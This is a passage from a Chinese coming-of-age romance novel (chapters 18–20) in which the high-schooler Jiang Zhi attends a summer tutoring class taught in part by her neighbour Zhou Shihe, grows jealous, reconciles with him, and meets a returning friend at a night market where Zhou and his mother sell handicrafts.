周识鹤叹了口气,他好像只有在学习这方面是个能者,在与人聊天这块一直是个不及格的孩子,颠来倒去只会问一句:“那怎么哭了?”
姜至总觉得自己这么老不回答像在为难他似的,于是便随便捞一个理由,“也没什么,就是忽然想到开学要高三了,有点担心自己的成绩。”
“这次不是又进步了吗?”周识鹤问。
姜至小声说:“那只是这次,谁知道下次会考成什么样。”
不知道是不是她这话有埋怨的成分,周识鹤没能接出什么。
他大概也不擅长安慰,更何况她能力如此,他还能空口说些什么以后肯定能考得更好的一类的瞎话吗?
算了。
姜至从小到大都太擅长对自己放弃了。
就这样吧。
就在姜至准备随便找个借口把这话题过去时,周识鹤忽然又开了口。
“姜至,你来补课吧。”
来?
姜至微愣,没听懂。
周识鹤这次看了她,他眼睛深深,那瞳孔深处映着她的面孔。
他说:“我在补习班做助教,你来,我带你。”
18.补习班
林淑和姜先舟的同事都是话很多的人,每次他们有个什么饭席,都会提前交代姜至先睡,今天姜至却没点要睡觉的意思。
她一个人在客厅,没看电视,也没玩什么,就坐着,坐着坐着忽然低头笑了下,察觉自己这样不好,又轻咳两声,将雀跃的情绪压下去,继续四平八稳地坐着。
一直等到快十点钟,林淑和姜先舟才回来,俩人看见姜至还没睡,“怎么还没睡?”
姜至先说了句:“不困。”
林淑很不赞同:“不能熬夜,就算是暑假也不能熬夜,明天起不来,晚上又睡不着,坏习惯三五天就能养成。”
姜至一听,有点急切地说:“不是说明天去补课吗?”
林淑一顿,看向她,“你想好了?”
姜至多少还是有点心虚的,眼睛也不敢直视林淑,扭扭捏捏地说:“啊,这不是在家也没事吗,反正离得近。”
林淑这才说:“知道就好,你现在正是上学的年纪,不好好上学在家闲着也无聊,行了,既然想好了就回去睡,明天上午九点,知道在哪吗?”
姜至说知道。
知道就好,林淑没再多说,让她赶紧回去睡觉。
这次姜至不说自己不困了,蹦蹦哒哒地就跑了。
姜先舟看一眼,说:“怎么那么高兴,之前一说补课就吊个脸。”
林淑:“谁知道,小孩子都这样,明天中午回来肯定抱怨,等着吧。”
结果第二天中午,姜至还是蹦蹦哒哒地回来的。
她看着心情不错,吃饭都比平时多吃了几口,吃完饭还追问林淑家里有没有冰镇的西瓜。
林淑一边起身去厨房,一边在心里寻思,等下午姜至走了,林淑思考半天,还是给补习班老师打了一通电话。
这补习班老师跟林淑的同事是妯娌,俩人在一个饭桌上吃过饭,对方一听是她,立刻笑着问:“有什么指示啊林科。”
林淑笑着说:“这不是小孩今天去补课了吗,我来问问她适不适应,这么大的小孩你也知道,有什么话都不跟家里人说的。”
“谁说不是呢,你家女儿还好,我家那个儿子才不搭理我们的,”老师随口说两句,把话题绕回姜至身上,“她挺乖的啊,一上午该听课听课,该写作业写作业,性子是内向了点,估计刚来吧,没什么熟人,你也知道,天甲班的学生没人愿意补课的,这边都是各个学校普通班的,她估计也不认识。”
“这样啊,”林淑勉强也算放下心来,“好,那就辛苦你之后多费心了。”
“客气客气。”
林淑这通电话,姜至完全不知晓。
这补习班是条件还行,空调开得很足,一点也不热,教室空间很大,人不算特别多,学生估计也都是经过筛选的,成绩不算特别好,也不是特别差,属于拼一拼,说不定能够个三本二本的。
姜至也是没想到自己上个补习班也能轮个倒数。
不过让她意外的是,李越勤居然也在这里。
姜至住得近,早上来得早,她刚来,很自觉地坐在了最后一排,听说同桌有人,但是一上午都空着,大家都是来补课的,平日断然不会把书本什么的放在这里。
下午姜至刚坐下没多久,李越勤就过来了,他看着精神头不太好,困了吧唧的,一路垂着头走到最后一排,往桌子上一趴,没多久老师过来,他迷迷瞪瞪抬起头,察觉到旁边有人,他撑着脑袋,扭头跟姜至打招呼,“你好。”
姜至朝他笑笑。
李越勤先是敷衍地点点头,扭回头,短暂地三五秒过去,他猛地清醒过来,瞪大眼睛再次看向姜至,“姜至!”
姜至再次朝他笑笑,“好巧。”
李越勤:“妈呀!你怎么在这?”
姜至:“我今天刚来,上午来的,你好像不在。”
李越勤一听忙说:“啊,对,我上午没起来,就没来。”
他说得太理直气壮,姜至一时之间不知道该怎么接。
就在她沉默无话的时候,老师从外面进来,在他身后,是周识鹤。
姜至第一眼就看见了周识鹤,她忍不住地朝周识鹤笑,周识鹤朝她这边看了一眼,俩人短暂的目光对视了一下,周识鹤先挪开了目光。
“姜至呢?”老师这时开口。
补习班不像在学校,同学之间都是实打实要相处三年的,所以大家都很有兴趣互相认识,在这里没人对同桌以外的人感兴趣,更甚至很多人都是搭伴来的,除了自己的伙伴,其他更是一概不理会。
更别提还知道对方的名字了。
所以老师这一喊,所有人都抬起头,四处张望。
姜至在大家的目光寻迹之间,有点不好意思开口。
李越勤替她出声,“在这呢,老师。”
老师闻声看过来,发现姜至在最后一排,又看向别处,发现只有第一排空着,他犹豫一下,想着估计也是姜至自己不愿意太惹眼,便什么都没说,只点点头,跟姜至介绍说:“这是周识鹤,助教老师,今天下午自习,你们有什么不会的找他。”
周识鹤的能力所有人都见证过了,刚来那天,还有人不太信任,连续几个人挑刺一般问了几道大题后,通通佩服得五体投地。
这会儿老师刚讲完,有性格热络的已经率先出声:“知道了知道了,老师你赶紧走吧,别耽误我们向周老师请教。”
姜至闻声看过去,只见是一个女生,不知是哪个学校的,穿着打扮都很大胆,还戴了很夸张的耳钉。
反正补习班不要求穿着形象,大家都是怎么高兴怎么来。
姜至下意识低头看了眼自己,普通的浅色的连衣裙,除了腰间有些装饰的蝴蝶蕾丝外,其他什么设计都没有。
尽管这班里没几个人,想必她一低头,也能瞬间淹没在人海里。
旁边李越勤明显对周识鹤不感兴趣,估计也不认识,他看见姜至挺高兴,叽叽喳喳地跟姜至说:“怎么这么巧,你是住附近吗?还是你爸妈认识这老师,我听我爸妈说这补习班还有点门槛呢。”
姜至选择性回答,“应该认识吧,我妈让我来的。”
“那估计就是了,”李越勤继续问,“你补多久?一个月还是整个暑假?”
这人问题怎么那么多。
姜至蹙了蹙眉,不知为什么心底涌了一股无名火,她忍了又忍,才平淡冷漠地说:“不知道。”
“好吧。”
姜至没什么心思跟李越勤闲聊,她低着头,目光看着试题,耳朵却在听其他人的动静。
老师前脚走,后脚那个女生就举手要周识鹤过去,她同桌嬉笑着打趣,“周老师快来,想你想你。”
其他人听了,起哄地笑,姜至却自始至终都没有再抬起过头。
下午补习班安排的时间是两点半到四点四十。
如果是考试,两个小时其实过得很快,可如果是在陌生的环境写作业,一分一秒都变得难熬。
姜至从前以为只有一个人在家里写作业才会如此难熬。
中途有十分钟休息时间,旁人一听到休息都跑出去玩,毕竟这附近有不少小吃街什么的,正逢暑假,各个商铺摊位都很热闹,哪怕什么都不买,出去转一圈也比窝在屋里强。
姜至却什么心思,她趴在桌子上,下巴垫在胳膊上,另一手一下一下地拿笔戳桌子,哒哒哒的,让她更加心烦意乱。
有人喊李越勤出去,神神秘秘的,看着不像什么好事。
李越勤看一眼姜至,犹豫片刻,还是选择出去了。
李越勤走后没多久,李越勤的座位上就坐了一个人。
姜至瞥见,懒懒地直起身,扭头一看,居然是周识鹤。
“你……”姜至难得没给他什么笑脸,重新又趴回桌子上,“你来干什么?”
周识鹤看出姜至今天有些不对劲,他猜想也许是姜至换了新环境,身边都是陌生人,难免有些不适应。
只是在这里,周识鹤并非是学生的身份,不方便跟姜至坐一起,课上她不主动问什么,他也抓不到空隙主动往她这边来。
这会儿下课,那些人跑出去,他才得了功夫。
“你有什么要问的吗?”周识鹤看了眼姜至手底下的试卷,看上去连第一部分都没写完。
“没有。”姜至想都不像就回答。
周识鹤一顿,看了她一眼。
过了好一会儿,周识鹤才说:“哦,好。”
周识鹤坐在李越勤的位子上,看着李越勤同样没写多少的试卷,眼前闪过刚刚他与姜至的热络闲谈画面。
又沉默两三秒,周识鹤见姜至没有要继续跟他说什么的意思,便起身走了。
周识鹤一走,姜至就觉得心里那股无名火瞬间演变为抑制不住的委屈。
她默默地想,她讨厌这个补习班。
放学后,姜至头也没回地往家走,她出补习班教室门的时候,周识鹤还在给一个女同学讲题呢,那女同学心思明显不在试卷上,姜至路过的时候还听到她问周识鹤什么星座。
星座星座。
她都不知道他是什么星座呢。
姜至越想越气,回到家趴在床上无能狂怒了好一会儿。
晚饭后,林淑喊姜至出去散步,姜至今天实在没那个心情。
林淑多少也能猜到,旁人放假都在玩,她还要去补课,心里多少有点不舒服,想了想便也没为难她。
林淑和姜先舟走后,姜至在家里转了一圈又一圈,转到头昏脑胀的时候,终于决定出门看看。
结果一进院里,往三楼一瞧,乌漆嘛黑的,哪有人呢?
这才几点,总不至于睡了?
放在之前,姜至肯定要上去看个究竟,可一想到今天补习班发生的事情,她就忍不住地想生气,最后一跺脚,闷不作声地回屋了。
第二天姜至起个大早,在家里躺到八点五十才出门。
出门时,姜至刻意往楼上看了一眼,只见门开着,周识鹤的身影在走廊一闪而过,很快到了楼梯。
周识鹤往她那边看了一眼,姜至和他对视上,抿了抿唇,默默加快了脚步,先周识鹤一步到了补习班。
姜至到补习班就往最后一排坐着,周识鹤进来的时候,她看见
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了也假装没看见。
倒是李越勤跟在周识鹤后面进来的时候看见姜至正往这边看,龇个大牙朝姜至挥手,人家那么热情,姜至也不好意思忽视,只好也朝他笑笑。
周识鹤本以为姜至是在跟他打招呼,还没来得及做出反应,就见李越勤绕过他小跑过去,姜至的目光也明显随着李越勤而去。
周识鹤一顿,收回了目光,眉眼淡淡地坐到第一排去。
今天第一节课上数学,大家明显在这科都是短板,气氛活跃度不佳。
老师中间打个岔,跟大家闲聊,企图唤起大家的精神。
“怎么了,我这老头子上课没意思呗,要不换个小帅哥上来?”老师打趣。
立马有人起哄,“好啊好啊,小周老师虽然教学经验不足,能力可不容小觑。”
“对啊,老师你教教人家,别老顾着讲题,有时候学生身心也要关注一下的。”
“那不行啊,人家小周上班不容易,师生恋不兴啊。”老师半开玩笑半警告。
大家嘻嘻哈哈,有了精神。
姜至在最后一排坐着,听到这些微妙的词语,看了周识鹤一眼,只见他在第一排坐得端正,后背挺挺的,肩膀宽宽的。
他今天身后坐的是那个打扮很张扬的女生,不知道怎么回事,她伸手戳了戳周识鹤的后背,周识鹤侧身偏头,目光却莫名与姜至撞个正着。
姜至蓦地一怔,下一秒便匆匆躲开。
周识鹤眼睛还望着姜至那处,向柳言辞十分大胆,“看什么呢,看我。”
周识鹤微微蹙眉,眼眸微垂,视线落在地上,“什么事?”
向柳说:“你周末有事吗?”
周识鹤说:“有。”
向柳:“啊?什么事?能推吗?”
“不能。”
这两天相处,向柳也摸到了周识鹤是个说一不二的性子,撇撇嘴“哦”一声。
周识鹤闻言立马扭回头,向柳盯着他的后脑勺,片刻勾唇笑笑,再次伸手挠了挠他的后背。
周识鹤这次直接拧眉,回头看向柳。
其实有点瞪的意味了。
向柳无所谓地一笑,“不是故意的,不好意思啊。”
周识鹤没说什么,只往前坐了一寸,拉开了与向柳桌子的距离。
……
第二节课自习,周识鹤看堂。
快放学时,有好几个人问同一个问题,周识鹤先是站在黑板前,问有多少人不会,大家陆陆续续举起手,他目光一片一片地扫过,最终落在姜至脸上。
姜至看着他,与他对视仅一瞬,再次低下了头。
她也没有举手,打定主意不再与他互动。
周识鹤见状没做更多反应,只是让大家看黑板,统一讲给大家听。
周识鹤讲课的时候,目光时不时会往姜至这边看,姜至察觉到,莫名有点心虚,仿佛他真的是她的老师一样,又仿佛他是在专门给她讲题一样。
她又没举手。
姜至在心里嘀咕。
想着想着,姜至就开始走神,周识鹤的声音仿若开了5D环绕功能一样在她头顶四处围绕,她一会儿看周识鹤的眼睛,一会儿看周识鹤的眉毛,一会儿又盯着周识鹤的嘴巴。
他牙齿好整齐啊。
姜至默默地想。
直到旁边李越勤忽然拿胳膊肘碰了她一下,姜至才蓦地回神。
她懵懵地看向李越勤,李越勤示意她看向讲台,姜至又懵懵地看向讲台,发觉周识鹤正目不斜视地盯着她。
很快,她听到周识鹤问:“姜至,你听懂了吗?”
姜至:“……”
隐隐约约的,姜至听到有人说:“他怎么知道她叫姜至?”
“认识吧?”
“居然认识啊。”
“也不一定吧,那天老师不是喊她了吗,我也知道她叫姜至啊。”
不知为何,听到这些,姜至心里溢出了一股微妙的情绪。
很难细究是什么,但似乎足以让她沉寂的心湖泛起涟漪。
姜至没立刻回答周识鹤,反倒是旁边李越勤殷勤地提醒她,“姜至?”
说实话,这题有难度,打从第一步她就没听懂,不然也不会那么快就走神。
其实说起来,这班里没几个人知道姜至什么水平,回头散伙的时候老师也不会给他们安排考试。
可面对周识鹤那双眼睛,姜至实在撒不了谎。
于是只好当着众人的面承认,“没有。”
“那你一会儿到第一排来,我再给你讲一遍。”周识鹤说。
姜至很难形容自己此刻的心情。
她以为自己会觉得有点丢人,又或者会生气,气周识鹤明明知道她不会,还要提问她,可她坐在座位上良久,没出息地发现自己根本没有生气。
甚至居然还有点窃喜。
也不知道喜什么。
反正就是感觉心里胀胀的,满满的,原本淡淡的涟漪这会儿咕噜咕噜翻涌起来,好像有什么东西要溢出来了一样。
姜至抿了抿唇,低声道:“哦。”
19.小花猫
补习班陆续走空以后,姜至仍坐在最后一排没有动弹,周识鹤坐在第一排,也没有要动身的意思。
姜至本来是打算等人走干净了再过去找周识鹤的,可眼下看周识鹤半点没有要找她的意思,她莫名起了赌气的心思,干脆坐着不动。
时间一分一秒过去。
两个人在教室的对角线,谁也没起身。
姜至本来还挺高兴的,现在越坐越委屈,时不时抬头看一眼周识鹤,见他四平八稳地低头写题,再看看自己,根本就没有半点心思看题。
就她老受到影响呗。
姜至胸口的火越堵越旺,最后干脆起身,决定眼不见心不烦。
她噼里啪啦地收拾东西,动作很是吵闹,然而纵使如此,周识鹤也没有回头看她一眼,姜至嘴巴一撇,差点要哭。
她拼命地将情绪忍下去,拿着书本就往外走。
刚走没几步,姜至瞥见周识鹤微微直起身,放下了笔,他把桌子上的册子往旁边放了放,似乎在准备什么,姜至呼吸微微放轻,走过周识鹤座位时,心脏一跳一跳。
一秒,两秒。
他却没有喊住她。
姜至几乎没有任何停留地走出了补习班,她站在院子门口,傍晚的落日灼灼,照在脸上微烫,姜至恍惚了一瞬,回头看一眼补习班里面。
只是她已经走出了院子,此刻已经看不见教室,也看不见教室里的周识鹤。
她不知道他在干什么,但她明确地知道,他没有跟出来。
他大概也不会跟出来了。
姜至的心一寸一寸沉到最底,她侧着脸,眼睛深处映出落日的颜色,好一会儿,她垂下眼眸,低着头走了。
补习班教室只有一扇窗户,夕阳从那处照进来,黑板一角反着光,上面白色粉笔写过的公式有点看不清楚。
周识鹤仍然在座位上坐着,他手边是一张草稿纸,上面满满当当写着很详细的解题步骤,有个别步骤的旁边甚至标注了公式来自哪一本书哪一课。
这是黑板上没有的。
过了好一会儿,周识鹤把草稿纸夹进了册子里,他回头看了一眼最后一排那个角落,想起刚刚姜至离开时,毫无停留意愿的背影。
也许是他刚刚当众喊她名字的行为,有失分寸了。
其实周识鹤当时有犹豫,但最终还是脱口喊了出来。
也不知道怎么回事。
脑子搭错筋了吧。
周识鹤说不上来心里什么滋味,他小时候跟旁的男生性格不搭,别人爱往外跑,他爱在家里,后来长大家里事情多,他更没有什么心思交朋友。
同学之间,更是连点头之交都算不上。
说起来,姜至算是他人生第一个朋友。
失神间,落日已沉,教室里最后一丝光在刹那间就没了。
周识鹤坐在一片昏暗里,良久才起身离开。
-
这天晚上姜至睡得很早,她以为自己会失眠,却没想到几乎躺下就睡着了,一夜睡得昏昏沉沉,第二天早上醒的时候才六点不到,她在床上翻来覆去,最终目光落在了书柜一侧挂着的那个红色小马上。
她的书包就在书柜前,那棵黄色的胡萝卜顺着桌沿垂落,像在悬崖边缘摇摇欲坠。
姜至盯了好一会儿,胸口那股被她假装不存在的憋屈终于从眼眶溢出来,眼泪大颗大颗地顺着眼窝滚到另一只眼睛里,辣得生疼后,又一同掉落在枕头上。
鼻子也很快被堵住,完全呼吸不过来,姜至最后干脆闭上眼睛,将被子拉至头顶,任由枕头湿了一片又一片。
八九点钟的时候,外面传来林淑和姜先舟的对话,林淑要喊姜至起床,姜先舟说:“算了,别喊她了,周末让她多睡会儿。”
林淑一听,“那干脆咱俩出去吃得了,一会儿给她带点回来。”
姜先舟:“也行。”
外面的房门打开又关上,姜至才慢吞吞从屋里出来,她先去上厕所,上完准备洗脸时看见镜子里红肿的眼睛,烦躁得很。
如果林淑和姜先舟看见了肯定要追问她。
姜至一边心烦,一边难受,一边又要想办法把眼睛肿意消去。
她想起电视剧里常看到的桥段,走去厨房拿两瓶冰水盖在眼睛里。
她刚从被窝里出来,整个人温度偏高,冰水碰着皮肤,凉得她抖了两下,好不容易适应了,敷久了又凉得有些发疼。
几经折腾,姜至又忍不住有点想哭。
好在林淑和姜先舟回来得并不快,俩人还去了趟菜市场,买了一大堆东西回来,进门时看见姜至房门还关着,林淑放下东西过去敲门,姜至及时出声:“醒了。”
林淑这才推开门,看见姜至在桌旁坐着,“出来吃饭。”
姜至说好。
等林淑把菜什么的都安置好,这才看见姜至眼睛有点肿。
她问:“昨天熬夜了?”
姜至正喝着豆浆,含糊应一声:“呐。”
林淑:“睡得眼都肿了,今天早点睡啊,熬夜不好,对你脸色也不好。”
姜至“嗯”了一声。
七月天气热,周末姜先舟和林淑也不想出门,一家三口在家各忙各的,也算和谐。
晚饭没人想吃,考虑到姜至的身体,林淑给她简单弄了个三明治,姜先舟和林淑则各啃一根黄瓜,隔壁邻居过来串门,还调侃他们:“要不说你们一家三口瘦呢。”
林淑笑说:“实在是没什么胃口。”
邻居走时,林淑起身去送,邻居客套说:“别送别送。”
林淑笑着:“我开门。”
“我自己还开不了门了?”邻居笑着把门打开,屋内所有人抬头看去,只见院子里正有人路过。
是周识鹤母子。
他们这个小家庭实在是情况特殊,所以附近邻居几乎都知道他们的存在。
常有人说如果青槐有什么十大感动人物,周识鹤怎么着也能提个名。
“出门啊。”邻居主动跟他们打招呼。
邓丽笑着说:“是,出去转转。”
邻居:“孩子真孝顺,成绩又好,长得又帅,姐你以后就等着享福吧。”
邓丽笑:“是是是,现在就享着呢。”
他们大人寒暄,姜至坐在沙发上,听见了外面的声音也没往外看。
她低着头摆弄手里的魔方,看似认真,其实连魔方每一格具体什么颜色都没往心里去,就那么大脑空白地瞎摆弄。
外面也没寒暄几句,姜至在余光瞥见邻居身影消失时,扭头往外看了一眼。
却没想到周识鹤也正往这边看。
他瞳色深,眼神里却没什么太壮阔的波澜,姜至的目光只与他匆匆相交一瞬,便淡淡收回。
“我回屋了。”
姜至起身说。
没等姜先舟说什么,姜至已经往房间走去。
林淑本来还想喊姜至跟邻居打声招呼,一扭头没找到人,又跟邓丽客套了两句,这才关上自家门。
-
第二天傍晚,林淑安排姜至去外面贴三楼单间的租房信息,姜至一出门就碰见了周识鹤母子,他俩似乎还是要出门。
姜至没什么心思跟周识鹤打招呼,但是碰见邓丽,总是要说话的。
她主动朝邓丽笑笑,“阿姨。”
邓丽“哎”一声,说:“好久不见啊姜至。”
姜至从前确实有事没事会往三楼跑,这会儿邓丽冷不丁提起来,姜至也不知道说什么好,就抿着唇笑。
她眼睛一直看着邓丽,余光却总是能捕捉到周识鹤,她其实并不想瞧见他。
“你这是要出去?”邓丽问。
姜至“嗯”一声,晃晃手里的A4纸说:“出去贴广告。”
邓丽:“三楼那个是吧。”
姜至:“嗯。”
邓丽点点头,“也是,该贴了,我看人家家里有空房的早就贴出来了。”
姜至说:“我妈说这房子没什么优点,贴早贴晚影响不大。”
这话邓丽不好接什么,便说:“正好我们也出去,一起。”
放在往日,姜至势必要追问他们去做些什么,今天却什么也没说,只是在原地犹豫片刻,还是上前扶在了邓丽的另一侧。
邓丽笑着说:“不用。”
姜至低着头看地面,“没事。”
她目光不由自主偏向周识鹤那边,为了配合邓丽,他步伐很小,走得很慢,很有耐心。
姜至平时在家,常常听林淑抱怨单位里的新人,说什么太年轻不稳重没耐心,周识鹤比林淑口中的新人要年轻很多,但却总是很稳重,又很有耐心。
邓丽这样,她似乎也从没听过周识鹤抱怨过什么,哪怕一句“好累”都没听他说过。
大家说得对,他是个很有孝心的孩子,也是个很有责任心的孩子。
姜至忽然觉得自己其实有点不懂事,说到底,她这次情绪不好,是因为周识鹤身边出现
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了旁人。
可他是助教,理所应当帮那些同学达题解惑。
可这关星座什么事?
姜至想起来这茬,又开始有点生气了。
她一路低着头胡思乱想,堪称左右脑互搏。
走出院子,邓丽出声道:“行了,你忙你的。”
姜至也没什么理由继续陪同他们一起,低低“哦”了一声。
周识鹤自始至终都没说过什么,他大概也没往她这边看过。
姜至想着,眼睛也没往周识鹤那边看,默认周识鹤和邓丽已经转身。
这附近都是大家的自建房,几乎家家户户都是两三层楼,附近靠近学校,家里住不完的空房自然要租给学生。
每一年的暑假,有人毕业离开,也有新的人要住进来,所以墙上总是贴着各种租赁信息单。
眼下已逢七月中旬,墙上早就贴满了。
姜至环视一圈也没找到合适的空地,贴别人的单子上肯定不行,只能往上贴了。
姜至叹了口气,心想还要回去搬个椅子。
就在她准备转身时,手中的单子忽然被人拽了去。
她一顿,侧身偏头,只见周识鹤站在她身旁,他没有看她,只是微微抬头,似乎在打量哪片空地合适。
“胶带。”他还是没有看她,很是专注地盯着墙面。
不知道为什么,姜至突然就回头看了一眼邓丽,只见她靠在一旁的墙上,正朝她笑,看见她看过来,朝她抬了抬下巴,很像在说一句:这人你随意使唤。
姜至心里那股憋着的悬着的,始终堵在胸口的气忽然就泄了。
她垂眸看周识鹤伸在她面前的手,没几秒,把胶带放在了上面。
这时周识鹤看了她一眼,姜至也看了他一眼。
三五秒过去,周识鹤还是看着她。
姜至只好问:“干嘛?”
口气仍有淡淡不善。
周识鹤不知为何忽然就想起了没事老往墙头蹲着的那只小花猫,有时候他手欠,路过时会摸一下挠一下,次数多了,小花猫也习惯了,偶尔睡觉时被烦到,它张着嘴伸爪子挠他,大多时候必然是挠不到的,偶尔一两次也只能轻轻扒拉到他的衣摆,轻飘飘的,挠不出什么厉害。
此刻姜至微微仰头看他,他这个角度,目光很容易就落在姜至小灰扇子一般的眼睫毛上,她肤色白,毛发没那么黑,天色暗的时候看着像深灰色,天气好的时候阳光照上去又隐隐泛着金色。
倒是也像一只猫。
只是她未伸爪子,却似乎挠到了他什么地方。
周识鹤挪开目光,声色仍冷淡,“撕一下。”
姜至这才反应过来周识鹤一手扶单子,另一只手也没办法操作。
她“哦”一声,重新把胶带拿走,拿的时候指尖碰到了周识鹤的掌心,她嘴唇抿了下,假装什么都没发生,继续撕胶带。
周识鹤个好,胳膊再一抬,能把单子贴很高。
贴好以后,他跟姜至说:“好了。”
姜至觉得他今天话挺多的,忍不住又看他一眼,“哦”一声。
她倒是变成了“嗯嗯哦哦”的那个。
“走了。”周识鹤又说一句。
他嘴上这么说,腿脚却没有要走的意思,姜至顺嘴就问一句:“你们去哪儿?”
她问完就后悔了,要不是周识鹤又跟她说这一句,她肯定转身就走了!
“摆摊。”周识鹤说。
姜至一愣,“什么?”
周识鹤下巴往邓丽脚边的黑包抬了抬,“一些手工。”
姜至这才想起来,刚刚这包是在周识鹤背着呢,她以为里面装的是他们随身用的东西,没多想。
“你们一直……去吗?”姜至问。
“也就暑假,”周识鹤说,“寒假冷。”
姜至“哦”了一声,不忍再多问,也不好意思跟周识鹤摆脸色了,“好吧,那你们一切顺利。”
周识鹤“嗯”一声,“谢谢。”
姜至闻声又看了他一眼,等周识鹤走后,姜至心不在焉地往家走,刚进家门,林淑就问她晚上吃什么。
“随便。”姜至回答这问题都没过脑子,一路脑袋放空的回到自己屋坐下,目光移到了在一旁摇摇欲坠的胡萝卜挂件上。
她伸手轻轻拨弄一下,胡萝卜左右摇晃,一下一下,几乎快要与她的心跳同频。
姜至恍恍惚惚盯出残影,才回过神琢磨,周识鹤这是什么意思?
20.小福袋
姜至在桌子上趴到落日将尽,门忽然被人推开,她还在走神,一时没反应过来,等那人到她跟前探头,她才震惊地瞪大眼睛,“非、非云?”
徐非云笑眯眯地,“想什么呢,小姜宝。”
姜至“妈呀”一声,这才彻底反应过来,嘴巴抑制不住地咧开,“你什么时候回来的!”
徐非云是姜至邻居家的小孩,那只总趴在墙头的小花猫就是她家养的,徐非云比姜至大三岁,姜至上高一的时候徐非云已经在高三苦读了,高三毕业的暑假徐非云一个人坐绿皮火车去了云南,听她爷爷说她只带了八百块钱,路上全靠摆摊挣钱,大学徐非云考去了西北,寒暑假从来没有回来过,天南地北地玩,去年过年的时候姜至听她爷爷说徐非云已经把西藏玩完了。
“今天上午才到家,太累了,睡了一天,刚吃过饭就来找你啦。”徐非云大大咧咧地往姜至床上一坐,将手里的手提袋递给她,眼神得意。
姜至从小没太多朋友,她自由时间少,即便有同学玩,一旦毕业也就没了联系,徐非云是姜至小学毕业那年搬来的,俩人实打实玩了好几年,姜至看见她心里就高兴。
“什么啊。”姜至一边笑一边接过手提袋,打开一看,是一堆明信片。
她“哇”了一声,全部掏出来,一张一张地翻,看到了各个城市的标志建筑。
“你去了那么多地方!”
徐非云晃荡二郎腿,“对啊,大学很自由的,我周一上午和周五下午都没课,经常周五出去,周一回来,哎,我还去了趟韩国呢,两天逛完,爽死了。”
姜至:“……是累死了吧?”
徐非云“嘿嘿”一声,“确实也累,不过心里爽,哎呀你现在还不懂,等你毕业了,你肯定比我还想往外跑。”
徐非云性格比姜至活泼了些,据说小时候家境一般,小学父母在外发了笔横财,掏钱让爷爷带她来青槐上学。
总归是老人,思想传统了些,认为小孩只有读书才有出路,再加上徐非云是女孩,爷爷看管她看管得也很严格。
毕业以后,徐非云爷爷忽然开了窍一般放开了手,徐非云也像撒欢的兔子一般到处跑。
她从前总是跟姜至说“咱俩是同病相怜”,现在只有姜至一个人可怜了。
“我可能不敢一个人出去玩。”姜至说实话,就算林淑当下不管她了,她也是整天在家待着,说不定还会不习惯呢。
“你是被拴的大象,心都麻了。”徐非云说。
姜至没听懂这比喻,徐非云摆摆手,“不说这些,我听说你现在在补课?”
提及补习班,姜至多少有点丧气,声音都低了几度,“是啊。”
徐非云:“怎么今年乐意给你补课了?之前不都放弃这一招了吗?”
姜至犹豫了下,没提周识鹤,只说:“地点比较合适,就在旁边。”
徐非云:“行吧,现在能出去不?”
姜至:“可以啊,你都回来了,我妈还能说什么?而且暑假本来我妈就老让我出去走走。”
徐非云立马起身,“走!”
林淑确实没说什么,毕竟她对徐非云知根知底,很是放心,还跟徐非云唠了两句,问西北怎么样。
徐非云笑着说:“挺适合姜至的其实,那边冬天有暖气,冻不到她。”
林淑哼笑一声:“她能考上你那大学,属我们家祖坟冒青烟。”
徐非云不跟林淑客套,“哈哈”两声说:“那就看看别的学校。”
林淑提起这些头就疼,摆摆手让她俩赶紧出去。
姜至头也没回地就跑了。
青槐相较于别的县GDP算拿得出手的,这里人口也多,流动人口更夸张,主要是因为青槐的教育环境优异和师资力量雄厚。除了天中,青槐还有一中和青槐中学两所省重点高中,每年这三个学校考进全国top高校的至少有五六十人,这在整个省内都是很漂亮的成绩。
更不提其他985、211高校了。
人多,学生多,全职父母多,娱乐广场自然也多,暑假夜市更是丰富热闹。
青槐的主营夜市主要在老城区,距离姜至家走路不到十分钟,离姜至家近,自然离天中也不远,所以附近有很多饰品店和书铺。
这几年还兴起很多DIY手工商铺,最多的当属给石膏制品上色。
姜至小时候玩过,现在长大已经对这些没兴趣了,徐非云更是手笨,俩人对这些铺子看也不看,唯有饰品店还有心思进去逛逛。
路过一家饮品店时,徐非云说:“请你喝柠檬水啊。”
姜至摇头。
徐非云想起来了,“哦哦哦,酸是吧。”
姜至点头。
“那喝点别的呗。”
徐非云拉姜至进去,姜至看了一圈单子,选了被红茶饮品。
徐非云提醒:“小心晚上失眠。”
姜至心想本来她就睡不着,再失眠还得了。
她想了想,冷不丁说一句:“有没有安眠的。”
徐非云一瞪眼,很是紧张,“你现在就睡不着了?压力太大了?不对吧,看医生了吗?”
姜至被她这一惊一乍弄得有点懵,“看医生干什么?”
徐非云犹豫了下,把姜至拉到一旁,小声问她:“有没有别的症状?心慌不慌?乱不乱?有事没事想哭吗?”
姜至心里一惊,有点警惕地看了徐非云一眼。
徐非云被姜至这一眼看得心凉一大截,她捂着嘴,很是不可置信的模样,眼看眼睛都要红了。
姜至有点心虚了,“怎、怎么了啊?”
徐非云立马握住姜至的手,“不喝了,去看医生,现在就去!”
姜至没懂,再次追问,“看医生干什么啊?”
徐非云深吸一口,面色凝重地看着姜至说,“你知道抑郁症吗?”
姜至:“……我知道,我没有,我不是。”
徐非云明显不信。
“哎呀,”姜至都不知道该怎么说,“真不是!”
“那你怎么回事!慌什么?乱什么?哭什么?”徐非云一连几个问题。
“……”
姜至回答不出来。
她眼神飘渺地往外看,这一看不得了,直接愣在了原地。
……
徐非云跟姜至不一样,姜至从小到大任何东西习惯了都不愿意更换,徐非云却是个彻头彻尾的喜新厌旧之人,同一个奶茶店在一年之内绝不会进去三次,同一种风格的衣服也不会喜欢超过两季。
今天徐非云带姜至来的这个饮品店是青槐很老的店了,如果不是徐非云刚从外地回来,想必根本不会进门。
这个店地处一个拐角,两扇门分别在南边和西边,南边是马路,马路对面是一个公园,西边是街道,街道一侧各种摊位。
最显眼的摊位是一个涂石膏的,而涂石膏的旁边有一个很不起眼的位置,那里坐着两个人,一个是邓丽,一个周识鹤。
邓丽面前摆了很多手工织品,大大小小的,她此刻还在低着头织,动作不快。
至于周识鹤……
他不知何时注意到的她,此刻正目不斜视地看着她,脸上没有太多表情。
夜晚周边只有路灯和摊位小灯,他们母子二人大概是摊位小,没准备灯,只蹭了旁边摊位的大灯。
路人熙攘间,显得他们二人渺小又沉默。
姜至定在原地,片刻都没其他动作。
徐非云顺着她的目光看过去,问:“什么?”
她又眯着眼仔细看,“想买?”
姜至想说没有,但想想邓丽平时那么辛苦,又希望徐非云能买一个。
“看看吧。”她说。
徐非云说:“看可以,你先回答我的问题。”
